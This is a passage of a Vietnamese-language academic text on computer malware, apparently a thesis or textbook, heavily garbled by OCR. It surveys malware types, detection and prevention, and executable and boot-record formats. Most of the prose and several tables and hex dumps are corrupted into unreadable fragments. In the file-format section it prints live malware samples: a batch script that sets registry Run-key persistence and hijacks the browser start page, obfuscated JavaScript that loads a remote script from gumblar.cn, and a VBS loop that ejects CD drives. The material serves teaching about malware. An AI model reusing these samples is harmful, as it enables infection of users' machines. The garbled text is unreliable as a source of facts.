http://vi.wikipedia.org/wiki/Th%C6%B0_%C4%91i%E1%BB%87n_t%E1%BB%AD

L hepi [ n  nhblt, phfn |, n ¢c8c backdoor
m t s h”nh L, ng tr°n m8y b nhi_ m
hi  n né« Blackdoor c¢clng c¢c- thw L€ ¢
Zoombie va Remote Administration Tool

-Zoombie( ¢ - tihW Yc g i | ° bot) |7 m t

l°n h th ng nh3xm m,c L2ch tbln c¢c!nq
nhblt ¢, a ZoAgmmlmite dl¥sngc &V t ch ¢ m
DDoS. KT tbln ctng c¢c- thW c¢c” i Zoombi
t2nh rra | °nh tbin c'ng c%ng m t | Y%c.
hai Zoombie n i til]lng.

- Remote Administration Todl© c¢c8c ¢! ng c, C - s Jun

ph®p th ¢ hi n quyQn quln tr° t_ Xx;
d. ng t2nh ntrng hn" yt hL Wgx©mbm4 ct*ng k
gom h"nh L ng theo d»i m i th_  xubl
L ng v o cblu h3nh c_ a&RANDla: BackOrificg . V2

SubSeveé

-Keyloggerr © phfn mQm L€ ¢ d¥%ng LW b2 mc
nhbin b3ng b"n ph2m r“i g i t.i hack
c.a emai|l, c.a vin bln, udg.erVanadne,
m t s |llobggerkene: K&ySnatch, Spyste
-Rootkitsl © tdp h° ' p c.,a c&c file L€ ¢ c
L i c¢c8c ch_ ¢ ntng chuXn c¢c_a h° th'r
tbln c'ng nguy hi Wm. V2 doohki€ttcenty
s a L i, thay thJ file, thloadlx ttthAE ng
L i c¢c8&c I i g i h m c_a h” LiQu h"r
LHt c¢c8c c¢cl'ng ¢, tbin cl!ng nhe€e c i &
Rootkit la: LRK5, Knark, Adore, Hack Defender.

- Web Browser Plugnl = ph€hng th_ c c¢”i m« L ¢
tr3nh duy t web. Khi L€ ¢ c¢c” i LHt,
c8§c h"nh vi duy t web c¢c.,a ng<€ i d%
nhdp) sau L- g i thlng tin réa ngo” |

L'i  p ¢- c¢ch_ ¢ ntng quay s Li n tho!
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modem v~ kJjt n" i LL/Jn m t s° Li n th
ph®p ¢, a ch, nhon.

-Email Generator © nh_ ng ch<€hng tr3nh cho p
s’ | € ng | . n oc§chUd maci-| .Emdlidgegerawro r dic
vio trong h th  ng. C8c ch€hng tr3n
L€ ¢ L2nh k™ m v o cEBhai emgiehet €t or s
c8c L a ch™ ¢- trong s’ L a ch" «c_, a
- Attacker Toolktl = ¢ 8c b, clng c, c- thw L<e
th " ng khi h° th ng L« b" kh  ng chl]J
ki Wu nh€© ¢c8c b, d, qu®t ¢ ng (port
cracker), b, d, qu®t g - ittacker Toolkit Pa c k e
th€ ng hay L€ ¢ s d,ng.

1.2.2.9Phishing

L™ m t h3nh th_c¢ tbln c*ng th€ ng c-
Phishing |~ ph€ehng th ¢ d, ng¥€ i d¥%
m&8y t2nh gi [ mdo nh33<Im | "mg cthion nly3Ee
vQ danh t2znh (v2z d, nh€ mdt khXu, s
t bin c*ng phishing th€ ng tUo ra tra
h "t nh€© c8§c trang web hoHc emai l m"
trang c, a NgOnyhphgt b ahcth® t2n c
trang web gi[ mdo n"y s&€ LQ ngh  nt
thing tin b2 mdt vQ t i khol n, vQ
S d, ng LW tr m tiQn tr, c ti/l]lJlp tron
m cch2bblt h .p ph8p khs§c
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Phisher Opportunities to Block:

. Initial Web Site Compromise
. Mass Phishing E-Mail

. Victim Clicks on Misleading URL
Compromises a host
and installs a phish Web site
and mass-mailer

. Phish Web Site is Displayed
Sends out phishing e-FnaiI §

. Victim Submits Account Information
Victim clicks a phish URL

ORWN=

=

>

Phish Web site is viewed

&

=
=

<
Victim Web Server Victim submits information Victim Users

Hinh1-8M* t [ vQ Phishing
1.2.2.10Virus Hoax
L™ c¢c8c c¢cInh b8o gi[ vQ virus. Csgc
ddng m t y°u cfu khXn cblp LW blo Vv’

virus gil |7 ¢ gdingbslo!ic kn®o nnhiiQun g
gua emai | . Blfn th©n c¢[nh b8o gi [ |
nh€ng nh_ng the€e g I LW c[nh b8o c-

cfnh b8o gil ¢c- ch_a c¢c8c ch" ™ dXn v«
| "m nguy hUKi Waichnhth8§mggi [ n"y cl
v’ qubly r" i b, phdn h, tr° k: thudHt
y°u cfu d ch v_ .

1.3C8§c ph€ehng mh&pc pgth§t hi

M« L, ¢c c¢c- rblt nhiQu h3nh th8i kh§gc
t“n t4i temeing tm® yng h° th  ng ming |-
v.i ng€ i d%ng thtng th€ ng h' the€
b nhi_ m m« L, c thlng qua m t s  dbl
- Khéa, khong cho dy ¢ § ¢ ¢ h ©Hhng (cind; fegedit, tas!
manager, gpeditun,..)

-KhichY mt ¢ h€hn g ngtthdrig bao, li, thiy €4ac file *.exe,

* . comyb.thaythjii c&8c ch€ehng tr3nh khsgc.
- M4y tinh chly chdn bl “tng, €dn k1 n i mthg.
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-Nhch thBf cO Vin h€ /- ttr B nh n Yt nnhiQu hiang c |
nguyén hth ng,tn RAM, CPU nh€ng ch<€a t3m r
-fn f il ec,tbt @ cnellta€bivh  ingadl
-Tha'y ‘déhl P khingmihg o L€
- Ngoai ra c6 niu dill hi u khac cho tBy may tinh cé tio nhi m
me« cl. Tuy nhi °bhhi UnAayla W qui x ucn8dogi Bdcac
phfn mQn chy trén may tinh, hieb gi a pn ¢ ng va pfn mQ@n khong
t €hng t h2ch.
Béendh h L -“jdungkipetit 3 mclé®©r 2 ch2nd x8§c
nm° L ©u trong ms8tyngtmthg.h, trong h
nWe6 thAk § ¢n hL” & vari va phat hinth cs m«  clhfim® L ©u
t h3°idiggeo thVs d ng mts phfn mQn phéat hin va phong
chng meCatnhakhoalt [ nnhi@ céng sc nghién cu, xay
d ng cac h th' ng phong chng virus may tinh theo n@ h g ti/p
cdh, k thud khac nhauC h o/h fay, cé ba k thud nhdh dchg virus
m8&y t 2 ndap Hng: dla@o chui nhch dthg virus (signature
based approach), d vao hanh vi nghi ngvirus (suspicious
behaviorbased approach) va @ v = onh Virus L(inentionbased
approach).
Ph_  ng p h 8pdxapvaoZhi nhdn d' ng
Ho4 | nfg theo nguyén ly ndm dthg nm4u, cac AV sd. ng mt CSDL
ch amdu virus (ID-virus library). M i khi c6 virus mi, cac chuyén gia
antivirus <€ gili ma, trich chn va e nhd chy i nhah dthg virus vao
t hven. Thong tin QL' it “@gchp Lo & ndt dihtin g hl 2 ¢c h)
cung v i théng tin ca virus (trm g i h @) <€ cho KT luch vQtinh
trthgga "L~ nge
Nhch dchg m¥u giGp AV phat hin @ ¢ § ¢ v Jf trém &b dllicu b i
chh LoggnéE&w2nh x8c cao. Tuy nhi°n pt
nhiQ@ n & @i
-Cngkrh: Kz2cc ht meek Ithuhyisvi r udnit« ¢
vat !l nghchyit ¢ | tlmki/n.
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- B Lng:AVch hiugutréncacmu vi rdoshdlkdtamg L §p
~ng Kkpth idchbnhdotn th i gian cho vic thu thdp M4 virus mii,

gi[i ma, phan tich,dp thud gili, cdp nhrd phiénlfnmi , ph 8t h ™ nhé
- Nhfm X: Cac hacker'cgdag tb v b ¢ an toan cho virus. Khi AV

somu chh Lo §avigiius,d lfusthgah thng €b t§

(clean) nffm.

Ph. ng ph8p phgt hkihMnc dvxa tvri® nc hp'hn
v'o bQ ngo"i, c¢cblu tr¥%c t p tin c- ¢
hi " n c.a m« L., c hhn | " vi hoogx8§rB'nmh
C8c chehng tr3nh kh'ng gi ng v,i ¢
vi gi “ng v.i nh_ng h"nh vi L« x8c I

m« L ¢ hay khlng.

Ch chJl n"y gi¥%p cho vi ¢ x8c L nh
c8c | oYi gm«ngl ncg kth*on ra c8&c bi Jn L i
ph&8p ph&8t hi ' n h"nh vi lun theo dn»
v ¢c8c d ch v, m" ¢c8c m« L, c khi s’
guan sat hanh vi.

M t ch<€ehng tr3nh pch&th "mih mp hF'nn s awi:

H

Thu thdp d. | i u: Th" " nh phfn n vy t
L€ ¢ ghi | 9j

ChuyWn L i: Th nh phfn n"y s&€ chuy\
Lun thu thdp d. 1i u v' o nhi trung

Thudt to&8® soss8§dhngnlW so s8&nh c8§c
ky hanh vi.
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Thu thap di lién

|

Chuyén doi

—

Trung gian | Thuat toan
Co s& dm Két qua

liéu hanh vi

Hinh1-9 M* h3 nh ch€ehng tr3nh qu®t

Ph&t hiMn virus dxa v o T LTMNnh

Do h«ng Sandrafohgtmf20@5intentioR]p cdr
based( t °n m« Rudrmd)nHi 9[0 bt c&uaiphgrongn8y t
t3nh trUrMg <94Ydp, tsau t Heno ndy»i Nthr thrgg

L i quan tr oku theomhgn ¢t dhpa yt iHnH L Qu

b&8o mhe€m i hiWm h a tiQm t " ng.

Khi nh_ng thay L i n” vy tth€si@&dl §nh ¢
ph, c nByrY®g ban Lfu. MHc d¥% Lhn gi
ra khg hi u bgfuol v mm&y ct-2 nthhWwh, i c8c

L€ ¢ bi B tvirugnigtinh.k W

Trong th, c t]J], tiJJp cdn fAquay vQqgl
mQm bhh  ng s d_ ng: Symant eva Noftch9] ¢ -
Goback; VMware [94] c6 System Image Snapshot; Faronics [74] co

Deep Freezeé Bln ¢h®g & ndbws XPng |
th  ng b3lngstSyrsda.emTWRy nhi®mnhitkhi pgueidr
cc LiWm trUng t hs&tih'Lneghéb gnhivimhudnl 9y
MHt Kk ht§hc',onigm’'g ofhmgb " § . | €W t bifhn b
Fnhth” ngt _gwuga t h™ i LiWm [39].
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1.4C8c ph<€ehng pmyp nmeh Lng ch
Hi " n gi° Vvi ¢ ph, ngcfi ohhimg om«a Ln
d, ng m8y t2nh v~ h' th ng mlng. Hi’
c8c phfn mQOm di t m« L, c, tuy nhi?®
t. ng gi , t_.ng ng'y v3 thJ hfu hit
cdp nhdt k' p V&cve¥ubph¥%cHnp. gi [
phfn mQm di° 't m« L, c L¥Wng c8ch th?3
ch2nh s8ch s d_,_ng m8y t2nh ph¥% h' p
-S dngpFnmQndit me odind  “tnhx@yén.
-Qu®t wWhkBus L
- Ludn quét cac USB, ¢ nggda ngoai khi elm vao may tinh.
- Duy t web an toan, tfif Idp bfo md cho trinh duyt, tranh click
nh ng link qung cdo heb bl “tny. €
- Quét cac file[i vQt Internet
-Khéng kichvao linkhayp L2 nh Kk m tr ordgchde mai |
vQL, antoan ¢ a chung.
-Th v " Hpdfh mQnE cac website tindy.
- S d. ng Sandbox, majo, cac trang kkh tra tr c tuyn WKiWh th
c h €h n g Jukhdigridp chth vQtinh an toan_ ca né.
-Vdh d ng kinh nghim s d ng may tinh

+ Phathins hot  nlg k h §ig¢ atmay@nh

+ KiWwh soatcacngdng L adn gy h o

+Lodh mtst2nh _atmHgHWb Qi kin lay
nhi m cho virus
_Ccp nhdt cac linva | i h L @ hanh
-Blov d li' umay tinh

+ Sa o, lilu@eo cduB

+ T cac d Ii uph ¢ i cho toan hth' ng
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Ch€ehng 2

Cu CECGHOYT .MNGC A Mg Cn

Nghi°n c trénméy t2ah luln gdn v, i Vi
ddng d. i u vdt ch,. M i |l o4i m« 1
i " u nhblt L  nh. PhoOom't 2nxh L¢c &c hla'ynis’
|l "m mt tr<€ nd | @yh Isan,l Wi htormahli oMl g
tr3nh phdtihb. 0 ch&dec e hidmt h&XWddlhokm, i
gia ttng L, tin cdy c¢c.,a h th ng (
Log&n). C8c L nh dUmgnhvdad- cthh Wcrhhia, r
g m: tdp tin vin bdpn,titndpMS3 i nOfcfhiehen
kh i L. ng

Stt Vat chu Loai virus Cac dinh dang Kiéu
File vi Tap tin 16 BAT
ile virus P—— .
1 | Tap tin van ban Worm T?p t!n scnlpt VBS, JS
Trojan Tap tin registry REG
Tap tin siéu van ban HTT, HTA
File virus | Tap tin I&nh COM
2 | Tap tin chwang trinh Worm Tap tin thi hanh EXE, SCR
Trojan | Tap tin thu vién DLL, CPL, SYS, VXD
Tap tin twr liéu DOC, DOT
3 | Tap tin MS Office Macro virus | Tap tin bang tinh XLS, XLT
Tap tin trinh dién PPT, POT
M&u tin khai dong hé
didu hanh dia mém /A
g . s . Mau tin khdi déng hé
4 | Mau tin kh&i dong Boot virus &du hanh dia cimg #N/A
Ma&u tin khéi tao phan
khu dia clrng /A

Hinh2-1: C8c L nh dlng vdt ch, c¢ch_ a m«
2.1 @dhgt lfunhim m«c L

2.1.1n'nhdingtdo t i nfnvin b

Tdp vin bln (text file) |~ t° ch._ c
- Tdp vin bln 7 bit: ch a c8c kI t,
tiJJp t. b"n ph?2zm, m« t . 32 (kholng
7 bit d¥%ng ch_ & m,giu” chu md € P@Asn g AtSr
JS, VBSé

-Tdp viEn blfn 8 bABCIEt-mthPmngs§eé kit
255)
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s d. ngrkphitc trang tr2 bflng, h3nh
ri°ng. Do hi n nay c8c trémickbi °n o
t 7 bit n°n ch€a phgt viinnblc®u8 | b

nW th ¢ thi c¢c8c c¢c©u | nh trong tdp
ch¥%ng sang m« m8y. Do khtng phli h
| " nh cc&ctblg?!al3nngh, Infpn tch”™ v i 1 o0{
bit | " ¢+ ngUBloHgp BRBAI 2M, vLrubk”™ <c8c
c.a c8clrdpnrigqh L€ c tthr cnhg h( H3® nshiunP
sit Loai tap tin Mo ta Kiéu Thi hanh

1 | Tap |énh theo 16 Batch command BAT | Internal Command Interpreter

2 | Tap lénh siéu van ban | Hyper Text HTT | HTML Application Host

3 | Tap lénh khdi tao System Initiation INI | Windows Startup

4 | Tap lénh Java Java Script JS | Windows Based Script Host

5 | Tap dang ky hé thong | System registry REG | Registry Editor

6 | Tap lénh Visual Basic | Visual Basic Script | VBS | Windows Based Script Host

Hinh22 : C8&c¢c |l o4i tdp tin vin

Dblu hi u nhdm dYbmgt 7co8hci tthdv ivrtus |
-D.li u BN e (32
-Ch_a &«&ec at ¢, a cldpngthnmgt2ch h' p
th ng

(Java Script, VB Script, HTML Appli

Tap l&énh danh cho |&i
/ bi&n dich, théng dich

san co cla hé théng

/ Chuwong trinh nguén
Van ban 7-bits \ Tap l&énh cla cac ngdn

ngl¥ l&p trinh khac

\ Van ban 7-bits khac

Tap van ban /

Van ban B-bits
D€ i Loy |~ m t dUnbgt mal ware n3um tr
N, i dung nh€ sau:

@ECHO OFF
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REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ
/dhttp://pcgyaan.wordpress.com /f

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ
/d %windir%\force.exe /f

copy /y Wallpaperl.omp 0 %U S E RP R O BUotaES¥ttings\Application DataWMi cr osof t o
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

RUNDLL32.exe USER32.DLL,SwapMouseButton

rename song.exe force.exe

movelyf orce. exe A%wi ndir %0

del /Q force.bat

del /Q wallpaper.bmp

MXu m«tttomg L nhjsddng Java
<script language=javascript><!

(function(){var XXX="%'";var
ZjWrl='_76_61r 20 61 3d_22 53criptE_6eg_69ne 22 2ch 3d_22V_65r_73ic
22 2cu @shv 69 67a_74or _2e 75 73er _41g_65nt 3bif(_28u_2e 69ndexOf
e0)_26 26 28 75 2ein_64exOf(_22N_54 20 36_22) 3c0 29 26 26(do_63u
ei_6ed_65xOf(_22_6die_6b_3d_31 22 29 3c0 29 26 26(t_79p_650f(z_72_
eof(_22RA)R 7bzr_76zts 3d_22A 22 3b_65v_61I(_22if(wi_6edow 2e 22+a+ :
+ 22 4d_61jo_72_22_2bb 2ba+ 22Minor_22+b+a+ 22 42 75ild_22+b+ 22
ment_2e 77r_69te 28 22 3cscript 20sr 63 3d_2f 2fgumblar_2e 63n_2f 72
+]_2b B 3c_5c 2fscript_ 3e 22 29 3b_7d';var
xtS=ZjWrl.replace(/_/g,xXx);eval(unescape(xtS))})();

-></script>

MXu m« L ¢ trong L nh d4ng VBS

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs =
OWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to
colICDROMSs.Count - 1 colCDROMs.Iltem(i).Eject Next For i = 0 to
cOICDROMSs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100
loop
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2. 1 nRdYgtrongt ptnc h€hng tr3nh

Cs§c tdp tin c h€ehng tr3nh (progr at
(application) hay phfn mQm (cshofct war
flet h o rtomig m*i tr<€ ng c.a h  sIiQu h

ngo”"i hai |l o4i tdp tin ch€hng tr3nh
chtda 6 & ht8ciS¥BE DLL, CPL, SCR, oCXe
ph8t tri Wn, dMngr atofQt hl «pnhh hcd Yntgp . K
ndp v~ o b, nh, , st&dplh@ ichi Qhe€hmrqht ¥
khing quan t©m ngu n g ¢ v~ m ¢ L.
vdy, c8c tdp tin ch€ehng tr3nh |~ m
tr  ngtha agh
T4 chirc Loai Kidu | Kiéu con Hé diéu hanh | i hanh
truec tiép
Command | DOS-COM | COM | COM DOS 16 bit Cé
DOS-EXE | EXE |EXE DOS 16 bit Co
EXE | EXE Windows 16 bit | Co
NE-EXE MBI Tow Windows 16 bit | Khéng
Executable EXE | EXE, SCR... | Windows 32 bit | Cé
PE-EXE DLL gléliisgpsﬁ - Windows 32 bit | Khdng
LE-EXE | VXD | VXD Windows 32 bit | Khéng

Hinh2-3: C&c |1 o4i t p tin ch<€ehnc

DOS-EXE |
EXE-16 bits
NE-EXE /
\ DLL-16 bits ||
EXE
/ EXE-32 bits
Program Files PE-EXE \
DLL-32 bits
COM
LE-EXE

Hinh2-4: Ph©n |1 o4i c¢c8c t p tin ct
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Ph©o©n t2ch L nh dlng tdp tin |~ hoUf
V., C phfn mQm (LY h”  a, ©m thanh, |
m°, t ninMi@um va@  cnbhigQus tc .ic §lci | w Yn -
' nh didng tdengiphf me°nm yy kghil8og tLri3 nshC
t2ch k: thudt m™ tdp trung v 0 c¢clng
Sinh vi°manm -k ht[hoW dathe mnh dUYlh’'ga tclp” t
http://www.wotsit.org

2.1.2.1nMh d ng COM (DOS Command)

COM | © L  nh dlng thi h~”nh Lhn gi [n
segment :offset c, a MSRO$N: nh§ d wmthdpat
LoYnnhd %c fil e L€ 8egmeltypg0Oh Dbo &t al  crhg
trong m tnépkitOnt te®Ym fil e COMvigi B i
64KB. Khilay vao file COM,vi r ushasy€ Li Wm v~ o | nh
| > nhi g(m« m8y ES8hOEB Hthly ndif mhd @, i
E9h nhly xa tr°n_, dl2i8 wvusdHah )L Jm Hich,
L'i Wm dndhndhn ¢ 8¢ t cph i COrM vaauw: utsh Wi h €

-K2ch the€e ¢ de i 6 4KB
-D.li " u byte m&ZASCI(@R55) tr°n b,
-C- | " nh nhly (E9h, EBh) hoHc | nh
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a.Biéudiénbyte | E9 [ E6 [ 02 [ 1B | 5B | 50 [ 32 | 4A | 0D | 20 | 20 | 4E |
E9: M3 l&nh nhay (xa hon 128 byte) dén thi tuc khéi tao
b. Biéu dién lénh may
xo 10100 E9E602  JMP  03E9 // E9: Nhay dén thi tuc khdi tao
xxxx:0103 1B5B50  SBB  BX,[BP+DI+50]
xo 0106 324A0D  XOR  CL,[BP+SI+0D]
X0 0109 2020 AND  [BX+SI],AH
xxxx: 0108 4E DEC Sl
xxxx : 03E9 50 PUSH AX I Thil tuc khéi tao
xxxx : 03EA 53 PUSH BX
xxxx:03EB B93E0O0 MOV CX,003E
xxxx:03EE BA0901 MOV DX,0109
xxxx:03F1 EBF8FE  CALL 02EC // E8: ma may Iénh Call
Hinh2-5. M t[ d. i wu invu tdp
a. BiWu diinuvégtercda tdp tin COM
b. BiWu di.n | nh m8y c¢c_atle blte
t Yo
Trong th i k8 Lfu c, a@g DO,°chddg lhthn

COM dblfile virus tbmnmRzémgtkhhacnlgHn ¢
truy nnhhdhp> nb,c8c hacker L« chuyWn h+e€
ddng EXE (HExecutable Fi

2 . 1 . @h.dxhg BXE (DOS Executable)

n"nh dUlng EXEr crhg hk@hcghp ttehp tin |,  n

blvec@gch, g m i ph®mi Lodghabibng t hanh ¢
CS,DS,ES,SS/. i c8bhctn” yd, rEKEc Bufilet r %c L
(g i | ° EXEt hhtenagd etri)n cch_aa gfiivhpe hv = Lci &

h“nh Wb.nhh ,v't i | m« ul, mhgtnd xJmgacv" kh’
t hanh ghi CPU tre, ¢ khi th ¢ thi ch
LOYy v o EXE, file viirfuisl g h®pi mli Qu n

t rL,]jn Lc_.aa crh-. C8c tdp EXE sau: L Hc Li
-Word Lfu tdp tin c¢c- tr O6MZ6 hoHc 6
-D_l i u bdytie,t rt°rn[ it o" n256)[ng m« ASCI |
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-Tht.,c kh' i tUYothrg¢ tonhn Lfial ech( Hea
Filesize)

Hinh xm® oHu tr ¥%c LFfuifni IEXEc . td °m, thi tWdip
L Ftién (4D5A) bi Wu di . n chu, i C&Mzorrhdag
tiJJp théénghtan file v° c¢c8cng ha@h s’
c- g00g§khangcd Fng t hisrugrgt)i.n NbJu kh&c O,
ch a con tr, L J] dungrcha NEEEXE @Ndndaws 16 bi§ c
VAPEEXE(Wi ndows 32 bitn)'.y G&c LI hchnnot U ntc
tiJJp theo.

00000: 4D SABC 0008 000500200071 00 FF FF CC 00 /15A4D = MZ: dau hiéu EXE
00010: 0507 0000 1000 00 OO 1E QO OO 0O 01 00 90 08
00020: 0000 1E OO OO OO QA Q100000000 AB007200

00030: AD 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0D I/khac 0: tré dén header bd sung
Hinh2-6:Cblu tr ¥%c Lfu file c¢c_a 1

2.1.2 3 [mh dhng NE-EXE

Khi gi.,i thi u h LiQu h"nh Wi ndows

phlCi thay L i L nh dddng EXE cho ph:

trong chj] L, blFlo v hoHc 386 titng
NEEEXE L€ ¢ |€u tr_. trong m t cblu tr:
L nh v’ qua tr€ ng 3GEXE ac lc bluH etardvecr
sung n'y L€ c bAt-4BF((OMEINY. h&€Bcbyr
tiJ]Jp theo ch_ &XEhY Mgt Hdj o XtERH it & BNE he
| © ¢c8c th€e vi n li°n kJjt dl' nrthg chloL é)
th ng trong hc &haciaQu ki n

Hinhm? ctHflu tr Y%c LFu fnihl & roonag tmdg ttirne

Qo

Windows1 6 bit. Cblu tr¥%c n"y g m hai p
fle DOSEXE. Phfn t h. hai -BXE clblun ht rv¥ac L
ch® 0080h, |~ gi§ tr -EXE. tnfoXBEgNE r €
header | ° chu, i nhdn dUng ONES®.

n"nh d¥X§ NE LHc LiWm nhdn dlng nh¢€
-Mang LHc tr€eng -EXEa L nh d4ng DOS

-Tr€ ng 3C trong cblu tr%¥%c LFfu file
-Hai byte Lfu ti°n c_,a cblu tr¥%c Lfu
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00000: 4D 5A 7501 01 00 00 00 04 00 00 00 FF FF 00 00 /15A4D = MZ: dau hiéu EXE
00010: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 0000

00020: 00 00 00 00 00 00 00 00 00 00 00 0000000000

00030: 000000 00000000 000000 000080000000 //D0BO: dia chi NE header

00080: 4E 45 053C 1501 1B 00 00 00 00 00 0103 03 00 [1454E = NE: dau hiéu NE-EXE
00090: 0014 0028E273 0100000003 00030004 00 llcac tham s hé thdng danh cho
000A0: 100040005800 A3 00 F6 00 FECO BOO1 00 00 /fméi trwrérng Windows 16 bit
000BO: 04 0004 0000000208 1E 00 BE& OB 00 00 0A 03

Hinh2-7.CHl tr Y%c Lfu f-EX& mjfutdpyV
Phfn tiJ]]Jp theo s&€ m* t[ c¢c8ch nhdn
tr€ ng Windows 32 bit, c8§c Portable
2 . 1. M@hddg PEEXE
Trong HnH Wi ndows 321 Bligh®WENKEp ¢¥w c
chtlf nh nh, h3ng (fl at me mo r-EXE) Port
g m 2 nh- m:
A C&c _ng d,ng ch_, (host applicat:i
SCRE
A rMng c.,a ng d,ng (applvicanibn°e
k Jt [DLL (ODgnamicLink Li brary), ISYSYsystemh i Wn
driver)d,  ogc Lmn®Qu khiaNel ApplI&).OCXCont r
(OLE Control ExXt ensi on) é MHc d¥% c¢chcha cm« |
n"y khtthngcCtt¥anig L€ &c g mngtd, ng ch,

00000: 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 /I5A4D = MZ: d4u hiéu EXE
00010: B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00

00020: 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00

00030: 00 0000 00 00 00 00 00 00000000 EO 00 0000 /fOOEQ: dia chi PE header

000EOD: 504500004C 0103002084 7D 3B 00000000 {14550 = PE: dau higu PE-EXE
000F0: 00 00 0000 EO QO OF 01 0B 01 07 0000 56 00 00
00100: 00 0A 0000 0000 00 00 B3 5B 00 000010 00 00
00110: 00 70 00 00 00 00 00 01 00 10 00 00 00 02 00 00

Hinh2-8: CBlu tr%c Lfu -EXEetm°tu bHW
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Gi " ng -BAEEMEEXE | ° cov dat fcihbae maytintva s |
tronhor se. nHc tr €enfHXmh hdinn gd NEREECg at P
nh€ h3nh.
-Mang LHc tre€eng -EXEa L nh d4ng DOS
-Tr € nenyC ctbhu -BXB4ct rDOS./Jn ¢ HEXE t r Yac |
-Hai byte Lfu ti°n c¢c,a file header
Cblu t r Y%c -EDXEu cfhi_lae cBE L Hc tr€ng thi
FileSize, FileType, FileAttribute, MachineWord, NumberOfSections,
TimeDateStamp,SizeOfOptionalHeader,Characteristics,MajorLinkerVer
sion,MinorLinkerVersion,SizeOfCode,SizeOflnitializedData,SizeOfUnit
lalizedData,RelativeVirtualAddress,BaseOfCode,BaseQfDat
BaseOfRVA, ImageBase, SectionAlignment, FileAlignment,
MajorOSVersion,MinorOSVersion,MajorimageVersion,
MinorlmageVersion,MajorSubSystemVersion, MinorSubSystemVersion,
SizeOflmage,SizeOfHeader,FileChecksum,SubSystem,
DLLCharacteristics, SizeOfStackRege,
SizeOfStackCommit,SizeOfHeapReserve,SizeOfHeapCommiit,
LoaderFlags,NumberOfRvaAndSize,VirtualSize,VirtualAddress,
SizeOfRawData,PointerToRawData,PointerToRelocation,
PointerToLineNumber, NumberOfRelocations,
NumberOfLineNumbers, AddressOfEntryPoint..

2.13 Tdp tin Office
C8§c tdpi ti n(doscumentl! i bl esy €doiig ¢ B g |

C. Mi crosoft Office (Blng P2.4). n @
macr o, | o Ui virus s’ d. ng tdp |

ApplicaMionpsofa. Ngo i L i t€ ng |
tin DOC, XLS v~° PPT; d&c ctidig tli'n nth
ng, 0 rblt t°t cho virus macro. L<€u t
(h3nh [nh, ©m tthha néh),, bc[8ncg hti&lipwot,irnbito
l . n (v trtm KB LJ/Jn h"ng ch_, ¢ MB)
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ch._¢c c¢c8c tdp

tin n"y theo Lhn v’ P

ddng c8c tdp tin n"y nh€e sau:
-K2ch the ¢ tdp 612 |7 b, i s°
~Chu, i nhdn dCR1Y-EQAL-81-1AEL06-00-0E00
Tép lénh ng dung Kiéu Mé ta
DOC | Tw liéu van ban
Microsoft Word DOT Khuén dang van ban
Microsoft Word Add-in
XLS | Tw ligéu bang tinh
WBA macro Microsoft Excel XLT Khutn dang bang tinh

XLA Microsoft Excel Add-in

Microsoft PowerPoint POT | Khudn dang trinh dién

PPT | Tw liéu trinh dién

PPA Microsoft PowerPoint Add-in

Hinh

2.14 Tdp tinkh' i
Trong ki

ngo "  ng(BR. 5) .

t hudt C.

29: C8c tdp tin MsOffice c-

. ng

Nn trREC, méwuttnh KkBMi L ng
( MTKh) c8cth catimic c §ceulcHm_ wvmh Jt b’

a t hi

boot record:

Li Qu h" nh

Nhi m v, ¢, a MTKn |
Jt b° v" th_ ¢ hi n cé8c
MTKn Loa c¢c. ng (Mmaster

(boot sector c¢c,a Lga c¢c. ng

Mau tin khéi déng | Vat chua Vi tri Nhiém vu
- Phan tich théng sb ky thuat cac phén
. Sector 1, khu ludn Iy
ﬂ;ﬁgted‘lr‘abggag Bia cirng | track 0, - Tim va tai boot sector cla phan khu
side 0 hoat ddng vao bd nhd
- Trao quyén cho boot sector
- Phan tich thdng s6 phan khu dia cirng
Phan khu | Sector 1, hoat déng
hoat déng | track 0, - Tim va tai cac tap tin khdi dong hé
e dia cimng | side 1 diéu hanh vao bd nhé
MTKD hé dieu hanh - Trao quyén cho hé diéu hanh
(boot sector) — - i 3
- Phan tich thdng s0 dia mém
Sector 1, . s izi s im 4 v an .
N - Tim va tai cac tap tin khoi dong hé
Bia mem track 0, iy . M .
side 0 dieu hanl'_l vao bd nhcf;
- Trao quyén cho hé dieu hanh

Hinh2-100C8cch ¢ kh i nhingn oirulsw
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2.14.1M utinkhei inlg logggmaster boot)

M, i Loa ¢.ng c¢c- thw L€ ¢ chia t
(partition). C- t i La b n phon kht
pho©n kchuch'&n | "m pho©n khu hoUt L 6 ng

H

khu ch_ a h L'i Qu h"nh c¢c_,a h' th ng.

Master boot:
- Binh vi cac phan khu dia cirng
- Tai boot sector hoat déng

Cac sector rdi

Boot sector hoat déng:

- Céc lénh khdi tao bd nhdé

- Binh vi, tai cac file hé thong

- Trao quyén cho hé diéu hanh

Thw muc goc (Root Entries)

Vang dir ligu
(Data Area)

Hinh2-11: T° c¢ch_c¢ Lgoa ¢_.ng tr<e ¢ khi

Boot virus:

- Cac lénh khdi tao virus

- Binh vi, tdi master boot gdc

- Trao quyén cho master boot géc

Master boot (goc)

Boot sector hoat déng:

- Cac lénh khdi tao bd nho

- Binh vi, tai cac file hé thong

- Trao quyén cho hé diéu hanh

Thw muc goc (Root Entries)

Ving diF ligu
(Data Area)

Hinh2-12 T c¢ch._ ¢ Lgoga c¢c. ng sau khi
MXu tin kh" i L, ngph@m tc2 cnhg cc&c nphhi © nm
t 3 m v’ oot i boot sector tr°n phon Kk
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ao

r i trao quyQn cho n-. H3nh minh h’
c,.a c8c MTKn.

H3nh m: t[ h3nh [nh °~ Loa astemg nhi
boot.

2.14.2 M _utin khei in hML Zu hanh (boot sector)

Boot sector C - tr°n m i Loa mQm v~
quyQn t. master boot (hoHc kh' i L. r
t3m HnH, nYp v~ o b, nhtrenh khao ¢
H®nh minh h a cbluz2tmwv¥%c viaga tmQm,c_ \a
h nh tr°n Lxgxan!m®rMh. hHB3nmh Fnh Loga mQm
V2 d, n"y cing L¥%ng cho tr<€ ng h' p
Loa c¢c. ng.
